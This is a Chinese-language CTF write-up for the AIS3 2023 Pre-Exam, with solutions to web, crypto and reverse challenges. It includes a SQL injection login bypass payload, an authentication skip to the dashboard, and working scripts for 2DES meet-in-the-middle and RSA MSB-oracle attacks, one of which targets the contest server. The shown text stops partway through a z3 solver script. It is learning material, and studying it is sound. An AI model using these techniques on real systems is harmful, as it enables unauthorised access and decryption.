# 2023 AIS3 Pre-Exam Write Up
[AIS3官方網站](https://ais3.org/)
今年是我打AIS3 Pre-Exam的第三年,今年的目標原本只是比去年的52名好就可以了,沒想到居然打進了前10,至今仍覺得不可思議.w.(當然比較大的可能性是大佬都跑去出題ㄌ:P)今年解出的題目分數也都比較高,去年解的題目大部分都是降到100分XD總之很驚訝自己今年可以拿到第9名,也希望自己可以持續進步!

# Misc
## Welcome [100]
{% note default flat %}
Are you not a robot ?
FLAG Format: `^AIS3{[A-Z0-9+-*/!?-]+}$`
Author: nella17
{% endnote %}
> file: https://drive.google.com/file/d/1OU5R736aRgj9KLce9S4CQj0qsDA6tm2g/view?usp=sharing
這題題目給了一個pdf,每張不同大小和形狀的紙裡面各包含了1個flag的字元,只要把他們通通拼在一起即可拿到flag。要注意題目中的Regex並沒有`_`,所以flag是以`-`來進行連接。
FLAG: `AIS3{WELCOME-TO-2023-PRE-EXAM&MY-FIRST-CTF}`
## Robot [100]
{% note default flat %}
Are you a robot?
Note: This is NOT a reversing or pwn challenge. Don't reverse the binary. It is for local testing only. You will actually get the flag after answering all the questions. You can practice locally by running `./robot AIS3{fake_flag} 127.0.0.1 1234` and it will run the service on `localhost:1234`.
Author: toxicpie
`nc chals1.ais3.org 12348`
{% endnote %}
> file: https://drive.google.com/file/d/1cczdP1CntYpbMrU5kD_mf3_Gv3DNYTQe/view?usp=sharing
這題用nc連進去之後會發現要在90秒內做出30道數學題,由於數字很小很容易心算,而且中間又有空格,code需要一點特判,所以我決定直接用心算解完30道數學題之後就能拿到flag。
```
$ nc chals1.ais3.org 12348
Timeout is 90 seconds
Answer 30 easy math questions to get the flag. Let's go!
9 + 1
10
5 * 2
10
5 * 10
50
8+7
15
2 + 2
4
4 + 8
12
5 * 2
10
7 * 6
42
3 + 3
6
4 + 6
10
4 + 3
7
2*10
20
7 + 3
10
5 * 6
30
9 + 7
16
5 * 7
35
4 + 2
6
2 * 4
8
6*4
24
10 + 7
17
5 + 7
12
4 * 3
12
1 * 4
4
4 * 1
4
9+2
11
9*4
36
3 + 3
6
8 + 10
18
1*7
7
8+5
13
Congratulations! Flag: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
```
FLAG: `AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}`
# Web
## Login Panel [100]
{% note default flat %}
Login Panel 網站採用了隱形 reCAPTCHA 作為防護機制,以確保只有人類的使用者能夠登入 admin 的帳號。你的任務是找到一個方法來繞過 reCAPTCHA,成功登入 admin 的帳號。
你可以使用各種技術和手段來達成目標,可能需要進行一些網站分析、程式碼解讀或其他形式的攻擊。請注意,你需要遵守道德規範,不得進行任何非法或有害的行為。
當你成功登入 admin 的帳號後,你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台,以證明你的成功。
Author: Ching367436
http://chals1.ais3.org:8000/
{% endnote %}
> file: https://drive.google.com/file/d/1G-VtgJFEKcfN0Xj_wRZLLfXuoxPvR3tM/view?usp=sharing
這題先看source code,可以發現在`/login`的地方,變數直接被塞到SQL expression裡面,是一個典型的SQL Injection。
```javascript
app.post('/login', recaptcha.middleware.verify, (req, res) => {
const { username, password } = req.body
db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
if (err) return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
if (!row) return res.redirect(`/login?msg=invalid_credentials`)
if (row.username !== username) {
// special case
return res.redirect(`https://www.youtube.com/watch?v=E6jbBLrxY1U`)
}
if (req.recaptcha.error) {
console.log(req.recaptcha.error)
return res.redirect(`/login?msg=invalid_captcha`)
}
req.session.username = username
return res.redirect('/2fa')
})
})
```
而目標是登入`admin`,但code中說明如果我們輸入的東西與username不符,就會跳出rickroll,所以我們可以注入的地方在`password`,只要使用payload`admin/'OR 1=1--`就可以直接登入。

登入之後會進入`/2FA`,但從source code中可以看出,這其實沒有對`/dashboard`做任何防護,所以直接跳到`/dashboard`就可以得到flag了。
```javascript
app.post('/2fa', (req, res) => {
if (req.session.username) {
const { code } = req.body
db.get(`SELECT code FROM Users WHERE username = '${req.session.username}'`, (err, row) => {
if (err)
return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
if (row.code === code)
return res.redirect('/dashboard')
return res.redirect('/2fa?msg=invalid_code')
})
} else {
return res.redirect('/login')
}
})
```

FLAG: `AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}`
# Crypto
## Fernet [100]
{% note default flat %}
你所在的公司最近發生了一起駭客入侵事件,管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。你需要解開被加密的檔案,否則事情就大條了!
flag format : `FLAG{xxx}`
Auther : Richard ( dogxxx)
{% endnote %}
> file: https://drive.google.com/file/d/15q0Ty6A7tWm6cPBP2UMWYz1yJcfN0tEM/view?usp=sharing
這題一樣直接看source code,可以發現他是利用Fernet來進行加密。
```python
import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG
def encrypt(plaintext, password):
salt = os.urandom(16)
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
ciphertext = f.encrypt(plaintext.encode())
return base64.b64encode(salt + ciphertext).decode()
# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG
# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)
# Encrypted data:iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj
```
從code裡面可以知道,他的key是利用password與salt使用PBKDF2生成,但password和salt都是已知,可以分別從source code和output中得到,因此我們可以直接造出一模一樣的key來對加密的東西進行解密。將這段code稍作修改後就能作為exploit拿來decrypt,得到flag。
```python
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
def decrypt(ciphertext, password, salt):
key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
f = Fernet(base64.urlsafe_b64encode(key))
plaintext = f.decrypt(ciphertext)
return plaintext
leak_password = 'mysecretpassword'
ciphertext = base64.b64decode(b'iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj')
salt = ciphertext[:16]
ciphertext = ciphertext[16:]
print(decrypt(ciphertext, leak_password, salt))
```
FLAG: `FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!}`
## 2DES [484]
{% note default flat %}
「2DES 」是一個刺激的「Capture the Flag」(CTF)挑戰,考驗你在解密使用 Double DES(2DES)加密的數據方面的技能。準備好進入密碼學的世界,解開這個加密訊息中隱藏的秘密。
在這個挑戰中,你將面對一個使用 2DES 加密算法保護的加密訊息。你的任務是解密這個訊息並恢復原始明文。為了做到這一點,你需要深入了解密碼學原理,並能夠運用各種技術來破解加密。
你準備好踏上這個激動人心的解密之旅,揭示這個訊息中隱藏的秘密了嗎?加入我們的「2DES 加密 CTF 挑戰」,在迷人的密碼學世界中展示你的技巧吧!
Author: Ching367436
{% endnote %}
> file: https://drive.google.com/file/d/1IFZz-1Q0En15uO6MehLM35cxDMZA6Sip/view?usp=sharing
這題的題目已經很明顯地暗示這題是Double DES了,而其最常見的攻擊手法就是Meet In The Middle(MITM)中間相遇攻擊,因此可以直接利用這個弱點來進行攻擊,分別拿到key1與key2。
```javascript
const crypto = require('crypto')
const FLAG = require('./flag')
const assert = require('assert')
// Generate key and IV
const key1 = crypto.randomBytes(8)
const key2 = crypto.randomBytes(8)
const iv = Buffer.concat([Buffer.from('AIS3 三')])
for (let i = 0; i < 8; i++) {
key1[i] = key1[i] | 0b11110000
key2[i] = key2[i] | 0b11110000
}
function encrypt(msg, key, iv) {
const cipher = crypto.createCipheriv('des-cbc', key, iv)
let encrypted = cipher.update(msg)
encrypted = Buffer.concat([encrypted, cipher.final()])
return encrypted
}
function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}
const hint_pt = Buffer.from('AIS3{??????????}', 'utf8')
res = encrypt(encrypt(FLAG, key1, iv), key2, iv)
hint = encrypt(encrypt(hint_pt, key1, iv), key2, iv)
assert.equal(
decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'),
FLAG.toString('utf8')
)
console.log(`let res = '${res.toString('hex')}'`)
console.log(`let hint_pt = '${hint_pt.toString('hex')}'`)
console.log(`let hint = '${hint.toString('hex')}'`)
// console.log(`let key1 = '${key1.toString('hex')}'`)
// console.log(`let key2 = '${key2.toString('hex')}'`)
console.log(`let iv = '${iv.toString('hex')}'`)
console.log(`
module.exports = {
res: res,
hint: hint,
iv: iv,
hint_pt: hint_pt,
}
`)
```
首先我們需要先造出一個所有key的list,在這裡我使用C++來進行IO加速。其中在解密的時候可以發現,前面4 bit因為特殊for迴圈的關係,固定會是1111,而且最後1 bit的數值1/0並不會影響到解密出來的東西,所以可以枚舉奇數就好,因此一位會產生$2^3=8$種可能,並一共會產生$8^8=16777216$種key,在可電腦窮舉的範圍內。
```cpp
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;
int32_t main(){
IOS
ofstream MyFile("key.txt");
for(int a=1;a<16;a+=2){
printf("%d\n",a);
for(int b=1;b<16;b+=2){
for(int c=1;c<16;c+=2){
for(int d=1;d<16;d+=2){
for(int e=1;e<16;e+=2){
for(int f=1;f<16;f+=2){
for(int g=1;g<16;g+=2){
for(int h=1;h<16;h+=2){
MyFile<<hex<<"f"<<a<<"f"<<b<<"f"<<c<<"f"<<d<<"f"<<e<<"f"<<f<<"f"<<g<<"f"<<h<<"\n";
}
}
}
}
}
}
}
}
MyFile.close();
return 0;
}
// key.txt
```
生成`key.txt`之後,我針對題目所給的`hint_pt`與`hint`分別進行加密與解密,並且儲存到`en.txt`與`de.txt`兩個檔案中。
```javascript
const crypto = require('crypto')
const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")
var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
let key1 = Buffer.from(line,"hex")
k = encrypt(hint_pt, key1, iv)
fs.appendFile('en.txt', key1.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
if (err)
console.log(err);
});
});
function encrypt(msg, key, iv) {
const cipher = crypto.createCipheriv('des-cbc', key, iv)
let encrypted = cipher.update(msg)
encrypted = Buffer.concat([encrypted, cipher.final()])
return encrypted
}
// en.txt
```
```javascript
const crypto = require('crypto')
const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")
var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
let key2 = Buffer.from(line,"hex")
try{
k = decrypt(hint, key2, iv)
if(k.toString("hex").length < 50){
console.log(key2.toString("hex"), k.toString("hex"))
}
fs.appendFile('de.txt', key2.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
if (err)
console.log(err);
});
}catch{}
});
function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}
// de.txt
```
兩個分別生成到一半時因為我的電腦效能太差,且nodejs的輸出效率太慢了,所以我就把它們截斷,幸運的是在裡面找到了相同的中間密文`0015f807fa38ef42050da63c7100bc0f19c299aaa0323928`,而對應到的key1是`f5f1fbfff1fdf5f5`,key2則是`f7f9f9fff7fbf5f5`。拿著這兩把key去對原本的flag密文做解密即可拿到flag。
```javascript
const crypto = require('crypto')
const key1 = Buffer.from('f5f1fbfff1fdf5f5',"hex")
const key2 = Buffer.from('f7f9f9fff7fbf5f5',"hex")
const iv = Buffer.concat([Buffer.from('AIS3 三')])
for (let i = 0; i < 8; i++) {
key1[i] = key1[i] | 0b11110000
key2[i] = key2[i] | 0b11110000
}
function decrypt(msg, key, iv) {
const decipher = crypto.createDecipheriv('des-cbc', key, iv)
let decrypted = decipher.update(msg, 'nyan~')
decrypted = Buffer.concat([decrypted, decipher.final()])
return decrypted
}
res=Buffer.from('6020e9735ca3bf2f63aebcf3622c994880ffed2b509c91414c75d4c500ee80f4',"hex")
console.log(decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'))
```
FLAG: `AIS3{折半枚舉}`
## MSB Oracle Attack [499]
{% note default flat %}
We all know RSA LSB oracle, but do you know MSB oracle?
Author: toxicpie
`nc chals1.ais3.org 12347`
{% endnote %}
> file: https://drive.google.com/file/d/15KSYACFO3m1NWoL_Yb33G-fBtzd17jvx/view?usp=sharing
先來看看source code。
```python
import os
import random
from Crypto.Util.number import getPrime
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
print(f'Your key: {hex(n)} {hex(e)}')
secret = random.randrange(n)
hint = pow(secret, e, n)
print(f'Your hint: {hex(hint)}')
for _ in range(1500):
ct = int(input('The ciphertext? '), 16)
if ct == 0:
break
pt = pow(ct, d, n)
if pt > n // 2:
print('Your plaintext is big')
else:
print('Your plaintext is small')
if input('The secret? ') == hex(secret):
flag = os.environ['FLAG']
print(f'Your flag: {flag}')
else:
print('No flag')
```
這題題目提到LSB oracle,可以發現與本題的想法很像,題敘從原本LSB的奇偶轉換成$\dfrac{n}{2}$,不過很快就可以發現利用大於$\dfrac{n}{2}$與小於$\dfrac{n}{2}$的條件,搭配密文輸入
$hint\times(2^{power})^e=(secret\times 2^{power})^e$
,這時解密後會出現
$secret\times 2^{power}>\dfrac{n}{2}\implies secret>\dfrac{n}{2^{power+1}}$或
$secret\times 2^{power}<\dfrac{n}{2}\implies secret<\dfrac{n}{2^{power+1}}$
兩種情況,就可以作為二分搜的條件,來限縮secret的值,最後在1500次內找到趨近真實的secret,可以直接寫二分搜的exploit拿到flag。
不過在二分搜時,因為我所使用的是整除的二分搜,因此在最後的secret上會有小於10000的誤差,這時我利用for loop窮舉來判斷加密後的結果是否與給定的hint一致,就可以確定secret的值。輸入0跳出並輸入secret後就可以拿到flag。
```python
from pwn import *
r=remote('chals1.ais3.org',12347)
r.recvuntil(b': ')
k=r.recvline().strip().decode().split(' ')
n=int(k[0],16)
e=int(k[1],16)
r.recvuntil(b': ')
k=r.recvline().strip().decode()
c=int(k,16)
flag=0
pwr=0
lr=[0,n]
while(flag<1500):
r.recvuntil(b'? ')
payload=hex((c*((2**pwr)**e))%n)
r.sendline(payload)
k=r.recvline()
print(k)
if b'small' in k:
lr[1]=(lr[0]+lr[1])//2
else:
lr[0]=(lr[0]+lr[1])//2
print(flag,lr)
flag+=1
pwr+=1
if lr[0]==lr[1]:
break
else:
print(abs(lr[0]-lr[1]))
for i in range(10000):
m=lr[0]+i
hint = pow(m, e, n)
if hint == c:
print(hex(m))
break
else:
print(m, c)
r.interactive()
```
FLAG: `AIS3{O0o0oO0o0oOooooO0o0oOOO0oO0o0o_Y0u_a43_4_tru1ly_Or4c13!!@#!@#!@#!@$!@$!@}`
# Reverse
## Simply Reverse [139]
{% note default flat %}
Just reverse it!
{% endnote %}
> file: https://drive.google.com/file/d/140muCIzd7q5vMZNwhL5DDLXAx6tguyHc/view?usp=sharing
這題其實算是非常常見的Reverse基本題,用IDA看一下會發現裡面有一個`verify function`,`encrypted`是一個已知所有值的陣列,所以只要逆向之後利用他的if判斷式直接在printable ascii之中字典爆破就可以拿到flag了,從psuedo code可以看出flag長度為34。其中`*((signed int *)&v2 - 1)`是index,`*(&v2 - 3)`是flag陣列,而需要要注意的是`unsigned __int8`限制範圍在256,需要取mod 256才不會出錯。

直接上exploit:
```cpp
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;
int enc[34]={
138, 80, 146, 200, 6, 61, 91, 149, 182, 82,
27, 53, 130, 90, 234, 248, 148, 40, 114, 221,
212, 93, 227, 41, 186, 88, 82, 168, 100, 53,
129, 172, 10, 100
};
int32_t main(){
IOS
for(int i=0;i<34;i++){
for(int j=0;j<128;j++){
if(enc[i]==((((i^j)<<((i^9)&3))|((i^j)>>(8-((i^9)&3))))+8)%256){
cout<<char(j);
break;
}
}
}
cout<<"\n";
return 0;
}
```
FLAG: `AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}`
## Flag Sleeper [379]
{% note default flat %}
Taking a nap before entering the world of AIS3 is important! A good hacker requires good sleep, and so does this flag checker.
Author: TwinkleStar03 ✨
{% endnote %}
> file: https://drive.google.com/file/d/1-AkPHIHF0G9Y-3BMes2QHb1slRGeHuUo/view?usp=sharing
這題執行之後會發現他只會噴一個表情符號給你,但用IDA看不出甚麼東西,所以改用Ghidra,裡面可以發現`main`函數上面的一堆數字應該是三個陣列,而下面的code雖然有`rand()`,但他很明顯將`iVar2`限制在`0x34`之內,用這個來去取`iVar1`的值,而下方又利用`iVar2`作為index去將其餘兩個陣列的元素做xor,所以合理懷疑`iVar1`,也就是`local_358`是儲存index的陣列,而flag長度就是`0x34`。

接下來,他將其他兩個陣列的數字利用`iVar2`作為index來xor,所以另外兩個陣列xor應該就是flag的字元,而根據index重新排列就能得到flag。直接寫出exploit拿到flag。
```cpp
#include<bits/stdc++.h>
#include<stdint.h>
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;
int ind[0x34]={10,0xc,0x1c,7,0x26,0x1f,0x2f,0x2c,0x2a,0x23,0x30,0x1e,0x15,0xb,0x11,0x10,0x22,0x28,0x21,0x27,0x29,9,0x16,4,6,0x14,0x13,0x2e,0x17,0x2d,0x1a,0,0xf,3,8,0x2b,0xe,5,2,0x1b,0x31,1,0x33,0x24,0x25,0x18,0x19,0x32,0x20,0xd,0x1d,0x12};
int a[0x34]={0xd4,0xe8,0xa4,0x1c,0xfd,0x84,0xc2,0x2f,0x2e,0x96,0x60,0xd8,0x79,0xd8,0x8c,0xa4,0x31,0xdb,0x93,0xfc,0xc9,0x1c,9,0xbc,0x9b,0x4f,0x85,0xff,0x68,0x14,0x57,0x40,0x93,0x8f,0x44,0x93,0x8e,0x60,0xa5,0xf4,0x3e,0x3a,0x77,0x19,0x3d,0x38,0x47,0xb6,7,0x25,1,0x9a};
int b[0x34]={0xed,0xd9,0xd4,0x28,0x95,0xdb,0xa5,0x70,0x1d,0xf1,8,0xbd,0xd,0xe0,0xd3,0x95,5,0xb8,0xff,0xcf,0xa2,0x7a,0x56,199,0xaa,0x7a,0xf0,0xce,9,0x66,0x66,1,0xa3,0xbc,0x77,0xe1,0xef,3,0xf6,0x99,9,0x73,10,0x46,0x5e,0x67,0x34,0x89,0x61,0x1d,0x6d,0xd0};
int flag[0x34]={0};
int32_t main(){
for(int i=0;i<0x34;i++){
flag[ind[i]]=a[i]^b[i];
}
for(int i=0;i<0x34;i++){
cout<<char(flag[i]);
}
cout<<"\n";
return 0;
}
```
FLAG: `AIS3{c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?}`
## Vivid Emotion [493]
{% note default flat %}
If you failed on this, I'll give you some lovely emojis to cheer you up! Keep going until you see the Success!
To get the flag, store your answers into a file and run `flag-decryptor.py` .
There are some requirements for decryptor:
* Install python package pycryptodome
* `pip install pycryptodome`
* To let decryptor works properly, answer_file's content must follow the format. Please arrange your answers correctly.
* If you don't like my decryptor, you can reverse it and rewrite it!
> If you step into some problem while checking answers using the checker, Use pwntools process to send answers to program may help.
Author: TwinkleStar03 🌟
{% endnote %}
> file: https://drive.google.com/file/d/10_qEMNX18pZE7o269Fy-seph-eHgnzxL/view?usp=sharing
先把這題的elf跑起來,會發現他要輸入一個`secret number`,稍微逆一下就知道這個數字是`333`。而在輸入`333`之後,接下來需要輸入333個數字做為`secret`,而很明顯可以發現這些數字的條件判斷函數存在於所有`chk`開頭的區塊裡面,而這個就可以用z3 solver解決,因此寫個exploit來把數字解出來。

```python
from z3 import *
x = IntVector('x', 333)
s = Solver()
s.add(x[39]+x[194]==400)
s.add(x[70]+x[129]==285)
s.add(x[234]+x[260]==328)
s.add(x[254]+x[294]==309)
s.add(x[48]+x[304]==137)
s.add(x[211]+x[233]==263)
s.add(x[103]+x[178]==267)
s.add(x[303]+x[314]==358)
s.add(x[37]+x[141]==293)
s.add(x[0]+x[23]==420)
s.add(x[186]+x[275]==200)
s.add(x[27]+x[55]==420)
s.add(x[97]+x[203]==265)
s.add(x[58]+x[240]==56)
s.add(x[72]+x[225]==82)
s.add(x[71]+x[255]==95)
s.add(x[234]+x[326]==212)
s.add(x[60]+x[62]==281)
s.add(x[159]+x[207]==235)
s.add(x[291]+x[316]==416)
s.add(x[174]+x[207]==406)
s.add(x[112]+x[219]==160)
s.add(x[20]+x[288]==237)
s.add(x[63]+x[331]==310)
s.add(x[70]+x[227]==389)
s.add(x[1]+x[321]==77)
s.add(x[34]+x[122]==104)
s.add(x[265]+x[286]==222)
s.add(x[138]+x[208]==388)
s.add(x[154]+x[280]==311)
s.add(x[109]+x[307]==410)
s.add(x[56]+x[100]==347)
s.add(x[146]+x[281]==368)
s.add(x[209]+x[229]==84)
s.add(x[220]+x[277]==75)
s.add(x[51]+x[61]==239)
s.add(x[195]+x[261]==219)
s.add(x[162]+x[289]==67)
s.add(x[8]+x[80]==297)
s.add(x[52]+x[263]==279)
s.add(x[226]+x[230]==37)
s.add(x[5]+x[245]==74)
s.add(x[52]+x[297]==286)
s.add(x[83]+x[308]==236)
s.add(x[55]+x[191]==430)
s.add(x[17]+x[117]==346)
s.add(x[38]+x[228]==340)
s.add(x[30]+x[245]==92)
s.add(x[126]+x[169]==426)
s.add(x[180]+x[218]==199)
s.add(x[156]+x[183]==326)
s.add(x[111]+x[154]==331)
s.add(x[59]+x[158]==354)
s.add(x[15]+x[307]==343)
s.add(x[114]+x[179]==290)
s.add(x[145]+x[241]==299)
s.add(x[86]+x[135]==334)
s.add(x[73]+x[147]==229)
s.add(x[166]+x[298]==264)
s.add(x[115]+x[269]==60)
s.add(x[94]+x[301]==377)
s.add(x[198]+x[200]==59)
s.add(x[97]+x[264]==241)
s.add(x[71]+x[213]==169)
s.add(x[142]+x[252]==34)
s.add(x[62]+x[161]==271)
s.add(x[192]+x[202]==313)
s.add(x[36]+x[205]==150)
s.add(x[330]+x[332]==257)
s.add(x[122]+x[243]==98)
s.add(x[189]+x[293]==110)
s.add(x[86]+x[315]==298)
s.add(x[231]+x[283]==176)
s.add(x[134]+x[286]==168)
s.add(x[54]+x[75]==118)
s.add(x[25]+x[137]==207)
s.add(x[16]+x[235]==216)
s.add(x[290]+x[317]==141)
s.add(x[124]+x[130]==183)
s.add(x[256]+x[283]==389)
s.add(x[278]+x[330]==120)
s.add(x[91]+x[261]==382)
s.add(x[174]+x[260]==409)
s.add(x[131]+x[309]==247)
s.add(x[279]+x[322]==99)
s.add(x[124]+x[222]==191)
s.add(x[156]+x[263]==326)
s.add(x[232]+x[236]==67)
s.add(x[31]+x[321]==81)
s.add(x[89]+x[210]==206)
s.add(x[10]+x[185]==319)
s.add(x[31]+x[265]==128)
s.add(x[14]+x[150]==246)
s.add(x[13]+x[219]==162)
s.add(x[147]+x[175]==174)
s.add(x[2]+x[182]==50)
s.add(x[66]+x[74]==312)
s.add(x[223]+x[314]==259)
s.add(x[59]+x[222]==146)
s.add(x[13]+x[241]==298)
s.add(x[299]+x[324]==229)
s.add(x[82]+x[221]==107)
s.add(x[75]+x[320]==173)
s.add(x[9]+x[257]==296)
s.add(x[201]+x[238]==314)
s.add(x[67]+x[183]==472)
s.add(x[80]+x[138]==336)
s.add(x[110]+x[331]==262)
s.add(x[93]+x[233]==216)
s.add(x[82]+x[88]==157)
s.add(x[29]+x[285]==444)
s.add(x[96]+x[152]==311)
s.add(x[81]+x[99]==184)
s.add(x[108]+x[202]==319)
s.add(x[22]+x[189]==248)
s.add(x[85]+x[215]==228)
s.add(x[117]+x[128]==268)
s.add(x[193]+x[196]==373)
s.add(x[41]+x[106]==241)
s.add(x[194]+x[258]==193)
s.add(x[254]+x[327]==327)
s.add(x[73]+x[87]==370)
s.add(x[78]+x[290]==330)
s.add(x[12]+x[85]==297)
s.add(x[120]+x[284]==89)
s.add(x[177]+x[218]==225)
s.add(x[53]+x[116]==251)
s.add(x[153]+x[164]==157)
s.add(x[79]+x[197]==298)
s.add(x[145]+x[162]==101)
s.add(x[203]+x[250]==229)
s.add(x[78]+x[167]==484)
s.add(x[114]+x[280]==328)
s.add(x[35]+x[323]==233)
s.add(x[19]+x[301]==237)
s.add(x[87]+x[239]==281)
s.add(x[7]+x[299]==177)
s.add(x[72]+x[252]==55)
s.add(x[302]+x[318]==344)
s.add(x[249]+x[310]==232)
s.add(x[38]+x[171]==298)
s.add(x[45]+x[91]==341)
s.add(x[33]+x[242]==419)
s.add(x[181]+x[268]==194)
s.add(x[12]+x[25]==412)
s.add(x[205]+x[247]==308)
s.add(x[180]+x[186]==223)
s.add(x[190]+x[296]==492)
s.add(x[22]+x[168]==313)
s.add(x[102]+x[262]==352)
s.add(x[173]+x[294]==156)
s.add(x[200]+x[251]==122)
s.add(x[105]+x[206]==349)
s.add(x[227]+x[253]==240)
s.add(x[61]+x[100]==369)
s.add(x[6]+x[167]==420)
s.add(x[248]+x[269]==186)
s.add(x[3]+x[65]==266)
s.add(x[35]+x[208]==385)
s.add(x[176]+x[315]==168)
s.add(x[90]+x[267]==478)
s.add(x[240]+x[285]==278)
s.add(x[313]+x[319]==343)
s.add(x[148]+x[264]==57)
s.add(x[132]+x[328]==205)
s.add(x[41]+x[258]==90)
s.add(x[195]+x[221]==111)
s.add(x[155]+x[246]==233)
s.add(x[95]+x[295]==215)
s.add(x[74]+x[98]==248)
s.add(x[5]+x[226]==55)
s.add(x[92]+x[102]==289)
s.add(x[214]+x[248]==172)
s.add(x[120]+x[256]==268)
s.add(x[109]+x[173]==273)
s.add(x[47]+x[238]==125)
s.add(x[170]+x[212]==346)
s.add(x[29]+x[273]==311)
s.add(x[224]+x[305]==277)
s.add(x[66]+x[306]==263)
s.add(x[141]+x[149]==391)
s.add(x[50]+x[239]==218)
s.add(x[32]+x[142]==196)
s.add(x[103]+x[328]==70)
s.add(x[175]+x[199]==183)
s.add(x[270]+x[300]==231)
s.add(x[104]+x[225]==269)
s.add(x[199]+x[306]==232)
s.add(x[159]+x[236]==43)
s.add(x[24]+x[143]==467)
s.add(x[270]+x[272]==223)
s.add(x[281]+x[302]==422)
s.add(x[198]+x[292]==246)
s.add(x[51]+x[132]==259)
s.add(x[115]+x[197]==181)
s.add(x[153]+x[309]==203)
s.add(x[125]+x[332]==381)
s.add(x[63]+x[244]==357)
s.add(x[188]+x[217]==251)
s.add(x[211]+x[274]==265)
s.add(x[57]+x[237]==303)
s.add(x[28]+x[291]==417)
s.add(x[33]+x[244]==418)
s.add(x[127]+x[144]==171)
s.add(x[77]+x[101]==378)
s.add(x[149]+x[289]==190)
s.add(x[11]+x[324]==249)
s.add(x[23]+x[50]==289)
s.add(x[128]+x[131]==301)
s.add(x[119]+x[179]==310)
s.add(x[4]+x[54]==125)
s.add(x[196]+x[322]==269)
s.add(x[4]+x[230]==35)
s.add(x[40]+x[139]==120)
s.add(x[99]+x[318]==287)
s.add(x[1]+x[237]==115)
s.add(x[10]+x[18]==136)
s.add(x[43]+x[229]==232)
s.add(x[26]+x[166]==354)
s.add(x[127]+x[215]==228)
s.add(x[15]+x[105]==375)
s.add(x[46]+x[293]==204)
s.add(x[89]+x[228]==455)
s.add(x[267]+x[317]==282)
s.add(x[150]+x[295]==99)
s.add(x[146]+x[300]==278)
s.add(x[81]+x[271]==122)
s.add(x[165]+x[220]==246)
s.add(x[64]+x[257]==212)
s.add(x[93]+x[133]==153)
s.add(x[129]+x[181]==111)
s.add(x[184]+x[266]==176)
s.add(x[311]+x[329]==131)
s.add(x[39]+x[123]==313)
s.add(x[242]+x[325]==248)
s.add(x[126]+x[191]==409)
s.add(x[160]+x[176]==257)
s.add(x[190]+x[214]==251)
s.add(x[185]+x[246]==198)
s.add(x[18]+x[26]==109)
s.add(x[104]+x[143]==462)
s.add(x[56]+x[64]==273)
s.add(x[30]+x[118]==258)
s.add(x[76]+x[313]==157)
s.add(x[139]+x[266]==173)
s.add(x[111]+x[118]==424)
s.add(x[6]+x[44]==412)
s.add(x[7]+x[65]==329)
s.add(x[43]+x[48]==326)
s.add(x[32]+x[76]==176)
s.add(x[112]+x[152]==300)
s.add(x[42]+x[177]==289)
